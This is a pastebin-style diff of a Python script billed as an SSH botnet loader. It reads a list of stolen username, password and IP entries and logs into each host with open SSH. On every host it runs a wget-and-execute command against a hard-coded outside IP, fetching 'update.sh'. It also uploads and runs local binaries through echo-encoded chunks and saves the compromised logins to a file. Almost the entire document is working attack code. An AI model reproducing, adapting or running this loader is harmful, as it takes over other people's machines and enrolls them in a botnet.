SHOW:
|
|
- or go back to the newest paste.
1 | #!/usr/bin/python | |
2 | - | #Phaaaat hax SSH loader by Freak AKA Milenko |
2 | + | #Phaaaat hax SSH loader by Milenko |
3 | ||
4 | import sys, re, os, paramiko, socket | |
5 | from threading import Thread | |
6 | from time import sleep | |
7 | ||
8 | if len(sys.argv) < 2: | |
9 | sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]") | |
10 | ||
11 | paramiko.util.log_to_file("/dev/null") | |
12 | rekdevice="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://80.82.70.225/update.sh; busybox wget http://80.82.70.225/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send | |
13 | print "\033[31m" | |
14 | ||
15 | print "S-S-SUUUPER fast SSH loader by Milenko" | |
16 | ||
17 | #simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </3 | |
18 | print "Reads user:pass:ip and simply checks the IP for port 22." | |
19 | print "Then writes loads the bonet onto it and saves the logins with SSH running to \"sshopen.txt\"" | |
20 | print "It is VERY fast and extremely efficient." | |
21 | print "As it splits the file into equal chunks for each thread!" | |
22 | ||
23 | threads = int(raw_input("Threads: ")) | |
24 | ||
25 | lines = open(sys.argv[1],"r").readlines() | |
26 | ||
27 | fh = open("sshopen.txt","a+") | |
28 | ||
29 | def chunkify(lst,n): | |
30 | return [ lst[i::n] for i in xrange(n) ] | |
31 | ||
32 | running = 0 | |
33 | ||
34 | loaded = 0 | |
35 | ||
36 | def printStatus(): | |
37 | while 1: | |
38 | sleep(10) | |
39 | print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m" | |
40 | if loaded >= 1000: | |
41 | print "Dayum u got sum phat hax brah :^}" | |
42 | ||
43 | def split_utf8(s , n): | |
44 | assert n >= 4 | |
45 | start = 0 | |
46 | lens = len(s) | |
47 | while start < lens: | |
48 | if lens - start <= n: | |
49 | yield s[start:] | |
50 | return # StopIteration | |
51 | end = start + n | |
52 | while '\x80' <= s[end] <= '\xBF': | |
53 | end -= 1 | |
54 | assert end > start | |
55 | yield s[start:end] | |
56 | start = end | |
57 | ||
58 | def haxit(username,password,ip): | |
59 | try: | |
60 | port = 22 | |
61 | ssh = paramiko.SSHClient() | |
62 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
63 | ssh.connect(ip, port = port, username=username, password=password, timeout=3) | |
64 | print "\033[32m[\033[31m+\033[32m] Echoloading: " + ip + "\033[37m" | |
65 | ssh.exec_command("cd /tmp") | |
66 | for file in os.listdir("bins"): | |
67 | f=open("bins/" + file,"rb") | |
68 | for hex in split_utf8(f.read(), 10240): | |
69 | ssh.exec_command("echo -ne " + ''.join(map(lambda c:'\\\\x%02x'%c, map(ord, hex))) + " >> " + file) | |
70 | - | ssh.exec_command("/bin/busybox echo -ne " + ''.join(map(lambda c:'\\\\x%02x'%c, map(ord, hex))) + " >> " + file + "1") |
70 | + | ssh.exec_command("/bin/busybox echo -ne " + ''.join(map(lambda c:'\\\\x%02x'%c, map(ord, hex))) + " >> " + file + "1") |
71 | ssh.exec_command("chmod 777 " + file) | |
72 | - | ssh.exec_command("/bin/busybox chmod 777 " + file + "1") |
72 | + | ssh.exec_command("/bin/busybox chmod 777 " + file + "1") |
73 | ssh.exec_command("./" + file) | |
74 | - | ssh.exec_command("./" + file + "1") |
74 | + | ssh.exec_command("./" + file + "1") |
75 | print "\033[32m[\033[31m+\033[32m] ECHOLOADED: " + ip + "\033[37m" | |
76 | sleep(10) | |
77 | loaded += 1 | |
78 | ssh.close() | |
79 | except Exception as e: | |
80 | print str(e) | |
81 | pass | |
82 | ||
83 | def check(chunk, fh): | |
84 | global running | |
85 | running += 1 | |
86 | threadID = running | |
87 | for login in chunk: | |
88 | if login.startswith("DUP"): | |
89 | continue # skip DUPS cause fuck em | |
90 | ||
91 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
92 | s.settimeout(3) | |
93 | try: | |
94 | s.connect((login.split(":")[2], 22)) | |
95 | s.close() | |
96 | print "\033[32m[\033[31m+\033[32m] " + login + " has SSH open. Loading..." | |
97 | haxit(login.split(":")[0], login.split(":")[1], login.split(":")[2]) | |
98 | fh.write(login + "\r\n") | |
99 | fh.flush() | |
100 | except: | |
101 | pass | |
102 | print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loaded) | |
103 | running -= 1 | |
104 | ||
105 | lines = map(lambda s: s.strip(), lines) # remove all newlines | |
106 | ||
107 | chunks = chunkify(lines, threads) # make seperate chunk for each thread | |
108 | ||
109 | print "STARTING SCAN AND LOAD!!!" | |
110 | ||
111 | Thread(target = printStatus, args = ()).start() | |
112 | ||
113 | for thread in xrange(0,threads): | |
114 | if thread >= 384: | |
115 | time.sleep(0.2) | |
116 | try: | |
117 | Thread(target = check, args = (chunks[thread], fh,)).start() | |
118 | except: | |
119 | pass | |
120 | print "Scanning... Press enter 3 times to stop." | |
121 | ||
122 | for i in range(0,3): | |
123 | raw_input() | |
124 | ||
125 | fh.close() | |
126 | ||
127 | - | os.kill(os.getpid(),9) |
127 | + | os.popen("kill -9 " + str(os.getpid())) |